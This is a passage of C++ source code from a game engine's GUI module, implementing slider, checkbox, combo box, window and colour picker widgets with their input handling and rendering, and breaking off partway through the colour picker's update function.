SetSize(XMFLOAT2(200, 40)); valueInputField.Create(name + "_endInputField"); valueInputField.SetTooltip("Enter number to modify value even outside slider limits. Enter \"reset\" to reset slider to initial state."); valueInputField.SetValue(end); valueInputField.OnInputAccepted([this, start, end, defaultValue](EventArgs args) { if (args.sValue.compare("reset") != std::string::npos) { this->value = defaultValue; this->start = start; this->end = end; args.fValue = this->value; args.iValue = (int)this->value; } else { this->value = args.fValue; this->start = std::min(this->start, args.fValue); this->end = std::max(this->end, args.fValue); } onSlide(args); }); for (int i = IDLE; i < WIDGETSTATE_COUNT; ++i) { sprites_knob[i].params = sprites[i].params; } sprites[IDLE].params.color = wi::Color(60, 60, 60, 200); sprites[FOCUS].params.color = wi::Color(50, 50, 50, 200); sprites[ACTIVE].params.color = wi::Color(50, 50, 50, 200); sprites[DEACTIVATING].params.color = wi::Color(60, 60, 60, 200); font.params.h_align = wi::font::WIFALIGN_RIGHT; font.params.v_align = wi::font::WIFALIGN_CENTER; } void Slider::SetValue(float value) { this->value = value; } float Slider::GetValue() const { return value; } void Slider::SetRange(float start, float end) { this->start = start; this->end = end; this->value = wi::math::Clamp(this->value, start, end); } void Slider::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); valueInputField.Detach(); valueInputField.SetSize(XMFLOAT2(std::max(scale.y * 2, wi::font::TextWidth(valueInputField.GetText(), valueInputField.font.params) + 4), scale.y)); valueInputField.SetPos(XMFLOAT2(translation.x + scale.x + 2, translation.y)); valueInputField.AttachTo(this); scissorRect.bottom = (int32_t)(translation.y + scale.y); scissorRect.left = (int32_t)(translation.x); scissorRect.right = (int32_t)(translation.x + scale.x + 20 + scale.y * 2); // include the valueInputField scissorRect.top = (int32_t)(translation.y); for (int i = 0; i < WIDGETSTATE_COUNT; ++i) { sprites_knob[i].params.siz.x = 16.0f; valueInputField.SetColor(wi::Color::fromFloat4(this->sprites_knob[i].params.color), (WIDGETSTATE)i); } valueInputField.font.params.color = this->font.params.color; valueInputField.font.params.shadowColor = this->font.params.shadowColor; valueInputField.SetEnabled(enabled); valueInputField.force_disable = force_disable; valueInputField.Update(canvas, dt); if (IsEnabled()) { bool dragged = false; if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } if (state == ACTIVE) { if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { if (state == ACTIVE) { // continue drag if already grabbed wheter it is intersecting or not dragged = true; } } else { Deactivate(); } } const float knobWidth = sprites_knob[state].params.siz.x; hitBox.pos.x = translation.x - knobWidth * 0.5f; hitBox.pos.y = translation.y; hitBox.siz.x = scale.x + knobWidth; hitBox.siz.y = scale.y; Hitbox2D pointerHitbox = GetPointerHitbox(); if (pointerHitbox.intersects(hitBox)) { // hover the slider if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (state == FOCUS) { // activate dragged = true; } } if (dragged) { EventArgs args; args.clickPos = pointerHitbox.pos; value = wi::math::InverseLerp(translation.x, translation.x + scale.x, args.clickPos.x); value = wi::math::Clamp(value, 0, 1); value *= step; value = std::floor(value); value /= step; value = wi::math::Lerp(start, end, value); args.fValue = value; args.iValue = (int)value; onSlide(args); Activate(); } valueInputField.SetValue(value); } font.params.posY = translation.y + scale.y * 0.5f; const float knobWidth = sprites_knob[state].params.siz.x; const float knobWidthHalf = knobWidth * 0.5f; sprites_knob[state].params.pos.x = wi::math::Lerp(translation.x + knobWidthHalf + 2, translation.x + scale.x - knobWidthHalf - 2, wi::math::Clamp(wi::math::InverseLerp(start, end, value), 0, 1)); sprites_knob[state].params.pos.y = translation.y + 2; sprites_knob[state].params.siz.y = scale.y - 4; sprites_knob[state].params.pivot = XMFLOAT2(0.5f, 0); sprites_knob[state].params.fade = sprites[state].params.fade; } void Slider::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } font.Draw(cmd); ApplyScissor(canvas, scissorRect, cmd); // base sprites[state].Draw(cmd); // knob sprites_knob[state].Draw(cmd); valueInputField.Render(canvas, cmd); } void Slider::RenderTooltip(const wi::Canvas& canvas, wi::graphics::CommandList cmd) const { Widget::RenderTooltip(canvas, cmd); valueInputField.RenderTooltip(canvas, cmd); } void Slider::OnSlide(std::function<void(EventArgs args)> func) { onSlide = move(func); } void CheckBox::Create(const std::string& name) { SetName(name); SetText(name); OnClick([](EventArgs args) {}); SetSize(XMFLOAT2(20, 20)); font.params.h_align = wi::font::WIFALIGN_RIGHT; font.params.v_align = wi::font::WIFALIGN_CENTER; for (int i = IDLE; i < WIDGETSTATE_COUNT; ++i) { sprites_check[i].params = sprites[i].params; sprites_check[i].params.color = wi::math::Lerp(sprites[i].params.color, wi::Color::White().toFloat4(), 0.8f); } } void CheckBox::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); if (IsEnabled()) { if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } if (state == ACTIVE) { Deactivate(); } hitBox.pos.x = translation.x; hitBox.pos.y = translation.y; hitBox.siz.x = scale.x; hitBox.siz.y = scale.y; Hitbox2D pointerHitbox = GetPointerHitbox(); // hover the button if (pointerHitbox.intersects(hitBox)) { if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (state == FOCUS) { Activate(); } } if (state == DEACTIVATING) { if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { // Keep pressed until mouse is released Activate(); } else { // Deactivation event SetCheck(!GetCheck()); EventArgs args; args.clickPos = pointerHitbox.pos; args.bValue = GetCheck(); onClick(args); } } } font.params.posY = translation.y + scale.y * 0.5f; sprites_check[state].params.pos.x = translation.x + scale.x * 0.25f; sprites_check[state].params.pos.y = translation.y + scale.y * 0.25f; sprites_check[state].params.siz = XMFLOAT2(scale.x * 0.5f, scale.y * 0.5f); } void CheckBox::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } font.Draw(cmd); ApplyScissor(canvas, scissorRect, cmd); // control sprites[state].Draw(cmd); // check if (GetCheck()) { sprites_check[state].Draw(cmd); } } void CheckBox::OnClick(std::function<void(EventArgs args)> func) { onClick = move(func); } void CheckBox::SetCheck(bool value) { checked = value; } bool CheckBox::GetCheck() const { return checked; } void ComboBox::Create(const std::string& name) { SetName(name); SetText(name); OnSelect([](EventArgs args) {}); SetSize(XMFLOAT2(100, 20)); font.params.h_align = wi::font::WIFALIGN_RIGHT; font.params.v_align = wi::font::WIFALIGN_CENTER; } float ComboBox::GetItemOffset(int index) const { index = std::max(firstItemVisible, index) - firstItemVisible; return scale.y * (index + 1) + 1; } bool ComboBox::HasScrollbar() const { return maxVisibleItemCount < (int)items.size(); } void ComboBox::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); if (IsEnabled()) { if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } if (state == ACTIVE && combostate == COMBOSTATE_SELECTING) { hovered = -1; Deactivate(); } if (state == IDLE) { combostate = COMBOSTATE_INACTIVE; } hitBox.pos.x = translation.x; hitBox.pos.y = translation.y; hitBox.siz.x = scale.x + scale.y + 1; // + drop-down indicator arrow + little offset hitBox.siz.y = scale.y; Hitbox2D pointerHitbox = GetPointerHitbox(); bool clicked = false; // hover the button if (pointerHitbox.intersects(hitBox)) { if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { // activate clicked = true; } bool click_down = false; if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { click_down = true; if (state == DEACTIVATING) { // Keep pressed until mouse is released Activate(); } } if (clicked && state == FOCUS) { Activate(); } const float scrollbar_begin = translation.y + scale.y + 1 + scale.y * 0.5f; const float scrollbar_end = scrollbar_begin + std::max(0.0f, (float)std::min(maxVisibleItemCount, (int)items.size()) - 1) * scale.y; if (state == ACTIVE) { if (HasScrollbar()) { if (combostate != COMBOSTATE_SELECTING && combostate != COMBOSTATE_INACTIVE) { if (combostate == COMBOSTATE_SCROLLBAR_GRABBED || pointerHitbox.intersects(Hitbox2D(XMFLOAT2(translation.x + scale.x + 1, translation.y + scale.y + 1), XMFLOAT2(scale.y, (float)std::min(maxVisibleItemCount, (int)items.size()) * scale.y)))) { if (click_down) { combostate = COMBOSTATE_SCROLLBAR_GRABBED; scrollbar_delta = wi::math::Clamp(pointerHitbox.pos.y, scrollbar_begin, scrollbar_end) - scrollbar_begin; const float scrollbar_value = wi::math::InverseLerp(scrollbar_begin, scrollbar_end, scrollbar_begin + scrollbar_delta); firstItemVisible = int(float(std::max(0, (int)items.size() - maxVisibleItemCount)) * scrollbar_value + 0.5f); firstItemVisible = std::max(0, std::min((int)items.size() - maxVisibleItemCount, firstItemVisible)); } else { combostate = COMBOSTATE_SCROLLBAR_HOVER; } } else if (!click_down) { combostate = COMBOSTATE_HOVER; } } } if (combostate == COMBOSTATE_INACTIVE) { combostate = COMBOSTATE_HOVER; } else if (combostate == COMBOSTATE_SELECTING) { Deactivate(); combostate = COMBOSTATE_INACTIVE; } else if (combostate == COMBOSTATE_HOVER) { int scroll = (int)wi::input::GetPointer().z; firstItemVisible -= scroll; firstItemVisible = std::max(0, std::min((int)items.size() - maxVisibleItemCount, firstItemVisible)); if (scroll) { const float scrollbar_value = wi::math::InverseLerp(0, float(std::max(0, (int)items.size() - maxVisibleItemCount)), float(firstItemVisible)); scrollbar_delta = wi::math::Lerp(scrollbar_begin, scrollbar_end, scrollbar_value) - scrollbar_begin; } hovered = -1; for (int i = firstItemVisible; i < (firstItemVisible + std::min(maxVisibleItemCount, (int)items.size())); ++i) { Hitbox2D itembox; itembox.pos.x = translation.x; itembox.pos.y = translation.y + GetItemOffset(i); itembox.siz.x = scale.x; itembox.siz.y = scale.y; if (pointerHitbox.intersects(itembox)) { hovered = i; break; } } if (clicked) { combostate = COMBOSTATE_SELECTING; if (hovered >= 0) { SetSelected(hovered); } } } } } font.params.posY = translation.y + sprites[state].params.siz.y * 0.5f; } void ComboBox::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } GraphicsDevice* device = wi::graphics::GetDevice(); wi::Color color = GetColor(); if (combostate != COMBOSTATE_INACTIVE) { color = wi::Color::fromFloat4(sprites[FOCUS].params.color); } font.Draw(cmd); struct Vertex { XMFLOAT4 pos; XMFLOAT4 col; }; static GPUBuffer vb_triangle; if (!vb_triangle.IsValid()) { Vertex vertices[3]; vertices[0].col = XMFLOAT4(1, 1, 1, 1); vertices[1].col = XMFLOAT4(1, 1, 1, 1); vertices[2].col = XMFLOAT4(1, 1, 1, 1); wi::math::ConstructTriangleEquilateral(1, vertices[0].pos, vertices[1].pos, vertices[2].pos); GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = sizeof(vertices); device->CreateBuffer(&desc, &vertices, &vb_triangle); } const XMMATRIX Projection = canvas.GetProjection(); // control-arrow-background wi::image::Params fx = sprites[state].params; fx.pos = XMFLOAT3(translation.x + scale.x + 1, translation.y, 0); fx.siz = XMFLOAT2(scale.y, scale.y); wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); // control-arrow-triangle { device->BindPipelineState(&gui_internal().PSO_colored, cmd); MiscCB cb; cb.g_xColor = sprites[ACTIVE].params.color; XMStoreFloat4x4(&cb.g_xTransform, XMMatrixScaling(scale.y * 0.25f, scale.y * 0.25f, 1) * XMMatrixRotationZ(XM_PIDIV2) * XMMatrixTranslation(translation.x + scale.x + 1 + scale.y * 0.5f, translation.y + scale.y * 0.5f, 0) * Projection ); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_triangle, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw(3, 0, cmd); } ApplyScissor(canvas, scissorRect, cmd); // control-base sprites[state].Draw(cmd); if (selected >= 0) { wi::font::Draw(items[selected].name, wi::font::Params(translation.x + scale.x * 0.5f, translation.y + scale.y * 0.5f, wi::font::WIFONTSIZE_DEFAULT, wi::font::WIFALIGN_CENTER, wi::font::WIFALIGN_CENTER, font.params.color, font.params.shadowColor), cmd); } // drop-down if (state == ACTIVE) { if (HasScrollbar()) { Rect rect; rect.left = int(translation.x + scale.x + 1); rect.right = int(translation.x + scale.x + 1 + scale.y); rect.top = int(translation.y + scale.y + 1); rect.bottom = int(translation.y + scale.y + 1 + scale.y * maxVisibleItemCount); ApplyScissor(canvas, rect, cmd, false); // control-scrollbar-base { fx = sprites[state].params; fx.pos = XMFLOAT3(translation.x + scale.x + 1, translation.y + scale.y + 1, 0); fx.siz = XMFLOAT2(scale.y, scale.y * maxVisibleItemCount); fx.color = wi::math::Lerp(wi::Color::Transparent(), sprites[IDLE].params.color, 0.5f); wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); } // control-scrollbar-grab { wi::Color col = wi::Color::fromFloat4(sprites[IDLE].params.color); if (combostate == COMBOSTATE_SCROLLBAR_HOVER) { col = wi::Color::fromFloat4(sprites[FOCUS].params.color); } else if (combostate == COMBOSTATE_SCROLLBAR_GRABBED) { col = wi::Color::fromFloat4(sprites[ACTIVE].params.color); } wi::image::Draw(wi::texturehelper::getWhite() , wi::image::Params(translation.x + scale.x + 1, translation.y + scale.y + 1 + scrollbar_delta, scale.y, scale.y, col), cmd); } } Rect rect; rect.left = int(translation.x); rect.right = rect.left + int(scale.x); rect.top = int(translation.y + scale.y + 1); rect.bottom = rect.top + int(scale.y * maxVisibleItemCount); ApplyScissor(canvas, rect, cmd, false); // control-list for (int i = firstItemVisible; i < (firstItemVisible + std::min(maxVisibleItemCount, (int)items.size())); ++i) { fx = sprites[state].params; fx.pos = XMFLOAT3(translation.x, translation.y + GetItemOffset(i), 0); fx.siz = XMFLOAT2(scale.x, scale.y); fx.color = wi::math::Lerp(wi::Color::Transparent(), sprites[IDLE].params.color, 0.5f); if (hovered == i) { if (combostate == COMBOSTATE_HOVER) { fx.color = sprites[FOCUS].params.color; } else if (combostate == COMBOSTATE_SELECTING) { fx.color = sprites[ACTIVE].params.color; } } wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); wi::font::Draw(items[i].name, wi::font::Params(translation.x + scale.x * 0.5f, translation.y + scale.y * 0.5f + GetItemOffset(i), wi::font::WIFONTSIZE_DEFAULT, wi::font::WIFALIGN_CENTER, wi::font::WIFALIGN_CENTER, font.params.color, font.params.shadowColor), cmd); } } } void ComboBox::OnSelect(std::function<void(EventArgs args)> func) { onSelect = move(func); } void ComboBox::AddItem(const std::string& name, uint64_t userdata) { items.emplace_back(); items.back().name = name; items.back().userdata = userdata; if (selected < 0) { selected = 0; } } void ComboBox::RemoveItem(int index) { wi::vector<Item> newItems(0); newItems.reserve(items.size()); for (size_t i = 0; i < items.size(); ++i) { if (i != index) { newItems.push_back(items[i]); } } items = newItems; if (items.empty()) { selected = -1; } else if (selected > index) { selected--; } } void ComboBox::ClearItems() { items.clear(); selected = -1; } void ComboBox::SetMaxVisibleItemCount(int value) { maxVisibleItemCount = value; } void ComboBox::SetSelected(int index) { selected = index; if (onSelect != nullptr) { EventArgs args; args.iValue = selected; args.sValue = GetItemText(selected); args.userdata = GetItemUserData(selected); onSelect(args); } } void ComboBox::SetSelectedByUserdata(uint64_t userdata) { for (int i = 0; i < GetItemCount(); ++i) { if (userdata == GetItemUserData(i)) { SetSelected(i); return; } } } std::string ComboBox::GetItemText(int index) const { if (index >= 0) { return items[index].name; } return ""; } uint64_t ComboBox::GetItemUserData(int index) const { if (index >= 0) { return items[index].userdata; } return 0; } int ComboBox::GetSelected() const { return selected; } static const float windowcontrolSize = 20.0f; void Window::Create(const std::string& name, bool window_controls) { SetColor(wi::Color::Ghost()); SetName(name); SetText(name); SetSize(XMFLOAT2(640, 480)); for (int i = IDLE + 1; i < WIDGETSTATE_COUNT; ++i) { sprites[i].params.color = sprites[IDLE].params.color; } // Add controls if (window_controls) { // Add a resizer control to the upperleft corner resizeDragger_UpperLeft.Create(name + "_resize_dragger_upper_left"); resizeDragger_UpperLeft.SetText(""); resizeDragger_UpperLeft.OnDrag([this](EventArgs args) { auto saved_parent = this->parent; this->Detach(); XMFLOAT2 scaleDiff; scaleDiff.x = (scale.x - args.deltaPos.x) / scale.x; scaleDiff.y = (scale.y - args.deltaPos.y) / scale.y; this->Translate(XMFLOAT3(args.deltaPos.x, args.deltaPos.y, 0)); this->Scale(XMFLOAT3(scaleDiff.x, scaleDiff.y, 1)); this->scale_local = wi::math::Max(this->scale_local, XMFLOAT3(windowcontrolSize * 3, windowcontrolSize * 2, 1)); // don't allow resize to negative or too small this->AttachTo(saved_parent); }); AddWidget(&resizeDragger_UpperLeft); // Add a resizer control to the bottom right corner resizeDragger_BottomRight.Create(name + "_resize_dragger_bottom_right"); resizeDragger_BottomRight.SetText(""); resizeDragger_BottomRight.OnDrag([this](EventArgs args) { auto saved_parent = this->parent; this->Detach(); XMFLOAT2 scaleDiff; scaleDiff.x = (scale.x + args.deltaPos.x) / scale.x; scaleDiff.y = (scale.y + args.deltaPos.y) / scale.y; this->Scale(XMFLOAT3(scaleDiff.x, scaleDiff.y, 1)); this->scale_local = wi::math::Max(this->scale_local, XMFLOAT3(windowcontrolSize * 3, windowcontrolSize * 2, 1)); // don't allow resize to negative or too small this->AttachTo(saved_parent); }); AddWidget(&resizeDragger_BottomRight); // Add a grabber onto the title bar moveDragger.Create(name + "_move_dragger"); moveDragger.SetText(name); moveDragger.font.params.h_align = wi::font::WIFALIGN_LEFT; moveDragger.OnDrag([this](EventArgs args) { auto saved_parent = this->parent; this->Detach(); this->Translate(XMFLOAT3(args.deltaPos.x, args.deltaPos.y, 0)); this->AttachTo(saved_parent); }); AddWidget(&moveDragger); // Add close button to the top right corner closeButton.Create(name + "_close_button"); closeButton.SetText("x"); closeButton.OnClick([this](EventArgs args) { this->SetVisible(false); }); closeButton.SetTooltip("Close window"); AddWidget(&closeButton); // Add minimize button to the top right corner minimizeButton.Create(name + "_minimize_button"); minimizeButton.SetText("-"); minimizeButton.OnClick([this](EventArgs args) { this->SetMinimized(!this->IsMinimized()); }); minimizeButton.SetTooltip("Minimize window"); AddWidget(&minimizeButton); } else { // Simple title bar label.Create(name); label.SetText(name); label.font.params.h_align = wi::font::WIFALIGN_LEFT; AddWidget(&label); } SetEnabled(true); SetVisible(true); SetMinimized(false); } void Window::AddWidget(Widget* widget) { widget->SetEnabled(this->IsEnabled()); widget->SetVisible(this->IsVisible()); widget->AttachTo(this); widgets.push_back(widget); } void Window::RemoveWidget(Widget* widget) { for (auto& x : widgets) { if (x == widget) { x = widgets.back(); widgets.pop_back(); break; } } } void Window::RemoveWidgets() { widgets.clear(); } void Window::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } moveDragger.force_disable = force_disable; resizeDragger_UpperLeft.force_disable = force_disable; resizeDragger_BottomRight.force_disable = force_disable; moveDragger.Update(canvas, dt); resizeDragger_UpperLeft.Update(canvas, dt); resizeDragger_BottomRight.Update(canvas, dt); // Don't allow moving outside of screen: if (parent == nullptr) { translation_local.x = wi::math::Clamp(translation_local.x, 0, canvas.GetLogicalWidth() - scale_local.x); translation_local.y = wi::math::Clamp(translation_local.y, 0, canvas.GetLogicalHeight() - windowcontrolSize); SetDirty(); } Widget::Update(canvas, dt); if (moveDragger.parent != nullptr) { moveDragger.Detach(); moveDragger.SetSize(XMFLOAT2(scale.x - windowcontrolSize * 3, windowcontrolSize)); moveDragger.SetPos(XMFLOAT2(translation.x + windowcontrolSize, translation.y)); moveDragger.AttachTo(this); } if (closeButton.parent != nullptr) { closeButton.Detach(); closeButton.SetSize(XMFLOAT2(windowcontrolSize, windowcontrolSize)); closeButton.SetPos(XMFLOAT2(translation.x + scale.x - windowcontrolSize, translation.y)); closeButton.AttachTo(this); } if (minimizeButton.parent != nullptr) { minimizeButton.Detach(); minimizeButton.SetSize(XMFLOAT2(windowcontrolSize, windowcontrolSize)); minimizeButton.SetPos(XMFLOAT2(translation.x + scale.x - windowcontrolSize * 2, translation.y)); minimizeButton.AttachTo(this); } if (resizeDragger_UpperLeft.parent != nullptr) { resizeDragger_UpperLeft.Detach(); resizeDragger_UpperLeft.SetSize(XMFLOAT2(windowcontrolSize, windowcontrolSize)); resizeDragger_UpperLeft.SetPos(XMFLOAT2(translation.x, translation.y)); resizeDragger_UpperLeft.AttachTo(this); } if (resizeDragger_BottomRight.parent != nullptr) { resizeDragger_BottomRight.Detach(); resizeDragger_BottomRight.SetSize(XMFLOAT2(windowcontrolSize, windowcontrolSize)); resizeDragger_BottomRight.SetPos(XMFLOAT2(translation.x + scale.x - windowcontrolSize, translation.y + scale.y - windowcontrolSize)); resizeDragger_BottomRight.AttachTo(this); } if (label.parent != nullptr) { label.Detach(); label.SetSize(XMFLOAT2(scale.x, windowcontrolSize)); label.SetPos(XMFLOAT2(translation.x, translation.y)); label.AttachTo(this); } Hitbox2D pointerHitbox = GetPointerHitbox(); uint32_t priority = 0; bool focus = false; for (auto& widget : widgets) { widget->force_disable = force_disable || focus; widget->Update(canvas, dt); widget->force_disable = false; if (widget->priority_change) { widget->priority_change = false; widget->priority = priority++; } else { widget->priority = ~0u; } if (widget->IsVisible() && widget->hitBox.intersects(pointerHitbox)) { focus = true; } if (widget->GetState() > IDLE) { focus = true; } } if (priority > 0) //Sort only if there are priority changes //Use std::stable_sort instead of std::sort to preserve UI element order with equal priorities std::stable_sort(widgets.begin(), widgets.end(), [](const Widget* a, const Widget* b) { return a->priority < b->priority; }); if (IsMinimized()) { hitBox.siz.y = windowcontrolSize; } if (IsEnabled() && !IsMinimized()) { if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } if (state == ACTIVE) { Deactivate(); } bool clicked = false; if (pointerHitbox.intersects(hitBox)) { if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (state == FOCUS) { // activate clicked = true; } } if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { if (state == DEACTIVATING) { // Keep pressed until mouse is released Activate(); } } if (clicked) { Activate(); } } else { state = IDLE; } } void Window::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } wi::Color color = GetColor(); // body wi::image::Params fx(translation.x - 2, translation.y - 2, scale.x + 4, scale.y + 4, wi::Color(0, 0, 0, 100)); if (IsMinimized()) { fx.siz.y = windowcontrolSize + 4; wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); // shadow } else { wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); // shadow sprites[state].Draw(cmd); } for (size_t i = 0; i < widgets.size(); ++i) { const Widget* widget = widgets[widgets.size() - i - 1]; ApplyScissor(canvas, scissorRect, cmd); widget->Render(canvas, cmd); } } void Window::RenderTooltip(const wi::Canvas& canvas, wi::graphics::CommandList cmd) const { Widget::RenderTooltip(canvas, cmd); for (auto& x : widgets) { x->RenderTooltip(canvas, cmd); } } void Window::SetVisible(bool value) { Widget::SetVisible(value); SetMinimized(!value); for (auto& x : widgets) { x->SetVisible(value); } } void Window::SetEnabled(bool value) { Widget::SetEnabled(value); for (auto& x : widgets) { if (x == &moveDragger) continue; if (x == &minimizeButton) continue; if (x == &closeButton) continue; if (x == &resizeDragger_UpperLeft) continue; if (x == &resizeDragger_BottomRight) continue; x->SetEnabled(value); } } void Window::SetMinimized(bool value) { minimized = value; if (resizeDragger_BottomRight.parent != nullptr) { resizeDragger_BottomRight.SetVisible(!value); } for (auto& x : widgets) { if (x == &moveDragger) continue; if (x == &minimizeButton) continue; if (x == &closeButton) continue; if (x == &resizeDragger_UpperLeft) continue; x->SetVisible(!value); } } bool Window::IsMinimized() const { return minimized; } struct rgb { float r; // a fraction between 0 and 1 float g; // a fraction between 0 and 1 float b; // a fraction between 0 and 1 }; struct hsv { float h; // angle in degrees float s; // a fraction between 0 and 1 float v; // a fraction between 0 and 1 }; hsv rgb2hsv(rgb in) { hsv out; float min, max, delta; min = in.r < in.g ? in.r : in.g; min = min < in.b ? min : in.b; max = in.r > in.g ? in.r : in.g; max = max > in.b ? max : in.b; out.v = max; // v delta = max - min; if (delta < 0.00001f) { out.s = 0; out.h = 0; // undefined, maybe nan? return out; } if (max > 0.0f) { // NOTE: if Max is == 0, this divide would cause a crash out.s = (delta / max); // s } else { // if max is 0, then r = g = b = 0 // s = 0, h is undefined out.s = 0.0f; out.h = NAN; // its now undefined return out; } if (in.r >= max) // > is bogus, just keeps compilor happy out.h = (in.g - in.b) / delta; // between yellow & magenta else if (in.g >= max) out.h = 2.0f + (in.b - in.r) / delta; // between cyan & yellow else out.h = 4.0f + (in.r - in.g) / delta; // between magenta & cyan out.h *= 60.0f; // degrees if (out.h < 0.0f) out.h += 360.0f; return out; } rgb hsv2rgb(hsv in) { float hh, p, q, t, ff; long i; rgb out; if (in.s <= 0.0f) { // < is bogus, just shuts up warnings out.r = in.v; out.g = in.v; out.b = in.v; return out; } hh = in.h; if (hh >= 360.0f) hh = 0.0f; hh /= 60.0f; i = (long)hh; ff = hh - i; p = in.v * (1.0f - in.s); q = in.v * (1.0f - (in.s * ff)); t = in.v * (1.0f - (in.s * (1.0f - ff))); switch (i) { case 0: out.r = in.v; out.g = t; out.b = p; break; case 1: out.r = q; out.g = in.v; out.b = p; break; case 2: out.r = p; out.g = in.v; out.b = t; break; case 3: out.r = p; out.g = q; out.b = in.v; break; case 4: out.r = t; out.g = p; out.b = in.v; break; case 5: default: out.r = in.v; out.g = p; out.b = q; break; } return out; } static const float cp_width = 300; static const float cp_height = 260; void ColorPicker::Create(const std::string& name, bool window_controls) { Window::Create(name, window_controls); SetSize(XMFLOAT2(cp_width, cp_height)); SetColor(wi::Color(100, 100, 100, 100)); float x = 250; float y = 110; float step = 20; text_R.Create("R"); text_R.SetPos(XMFLOAT2(x, y += step)); text_R.SetSize(XMFLOAT2(40, 18)); text_R.SetText(""); text_R.SetTooltip("Enter value for RED channel (0-255)"); text_R.SetDescription("R: "); text_R.OnInputAccepted([this](EventArgs args) { wi::Color color = GetPickColor(); color.setR((uint8_t)args.iValue); SetPickColor(color); FireEvents(); }); AddWidget(&text_R); text_G.Create("G"); text_G.SetPos(XMFLOAT2(x, y += step)); text_G.SetSize(XMFLOAT2(40, 18)); text_G.SetText(""); text_G.SetTooltip("Enter value for GREEN channel (0-255)"); text_G.SetDescription("G: "); text_G.OnInputAccepted([this](EventArgs args) { wi::Color color = GetPickColor(); color.setG((uint8_t)args.iValue); SetPickColor(color); FireEvents(); }); AddWidget(&text_G); text_B.Create("B"); text_B.SetPos(XMFLOAT2(x, y += step)); text_B.SetSize(XMFLOAT2(40, 18)); text_B.SetText(""); text_B.SetTooltip("Enter value for BLUE channel (0-255)"); text_B.SetDescription("B: "); text_B.OnInputAccepted([this](EventArgs args) { wi::Color color = GetPickColor(); color.setB((uint8_t)args.iValue); SetPickColor(color); FireEvents(); }); AddWidget(&text_B); text_H.Create("H"); text_H.SetPos(XMFLOAT2(x, y += step)); text_H.SetSize(XMFLOAT2(40, 18)); text_H.SetText(""); text_H.SetTooltip("Enter value for HUE channel (0-360)"); text_H.SetDescription("H: "); text_H.OnInputAccepted([this](EventArgs args) { hue = wi::math::Clamp(args.fValue, 0, 360.0f); FireEvents(); }); AddWidget(&text_H); text_S.Create("S"); text_S.SetPos(XMFLOAT2(x, y += step)); text_S.SetSize(XMFLOAT2(40, 18)); text_S.SetText(""); text_S.SetTooltip("Enter value for SATURATION channel (0-100)"); text_S.SetDescription("S: "); text_S.OnInputAccepted([this](EventArgs args) { saturation = wi::math::Clamp(args.fValue / 100.0f, 0, 1); FireEvents(); }); AddWidget(&text_S); text_V.Create("V"); text_V.SetPos(XMFLOAT2(x, y += step)); text_V.SetSize(XMFLOAT2(40, 18)); text_V.SetText(""); text_V.SetTooltip("Enter value for LUMINANCE channel (0-100)"); text_V.SetDescription("V: "); text_V.OnInputAccepted([this](EventArgs args) { luminance = wi::math::Clamp(args.fValue / 100.0f, 0, 1); FireEvents(); }); AddWidget(&text_V); alphaSlider.Create(0, 255, 255, 255, ""); alphaSlider.SetPos(XMFLOAT2(20, 230)); alphaSlider.SetSize(XMFLOAT2(150, 18)); alphaSlider.SetText("A: "); alphaSlider.SetTooltip("Value for ALPHA - TRANSPARENCY channel (0-255)"); alphaSlider.OnSlide([this](EventArgs args) { FireEvents(); }); AddWidget(&alphaSlider); } static const float colorpicker_radius_triangle = 68; static const float colorpicker_radius = 75; static const float colorpicker_width = 22; void ColorPicker::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Window::Update(canvas, dt); if (IsEnabled()) { if (state == DEACTIVATING) { state = IDLE; } float sca = std::min(scale.x / cp_width, scale.y / cp_height); XMMATRIX W = XMMatrixScaling(sca, sca, 1) * XMMatrixTranslation(translation.x + scale.x * 0.4f, translation.y + scale.y * 0.5f, 0) ; XMFLOAT2 center = XMFLOAT2(translation.x + scale.x * 0.4f, translation.y + scale.y * 0.5f); XMFLOAT2 pointer = GetPointerHitbox().pos; float distance = wi::math::Distance(center, pointer); bool hover_hue = (distance > colorpicker_radius * sca) && (distance < (colorpicker_radius + colorpicker_width)* sca); float distTri = 0; XMFLOAT4 A, B, C; wi::math::ConstructTriangleEquilateral(colorpicker_radius_triangle, A, B, C); XMVECTOR _A = XMLoadFloat4(&A); XMVECTOR _B = XMLoadFloat4(&B); XMVECTOR _C = XMLoadFloat4(&C); XMMATRIX _triTransform = XMMatrixRotationZ(-hue / 360.0f * XM_2PI) * W; _A = XMVector4Transform(_A, 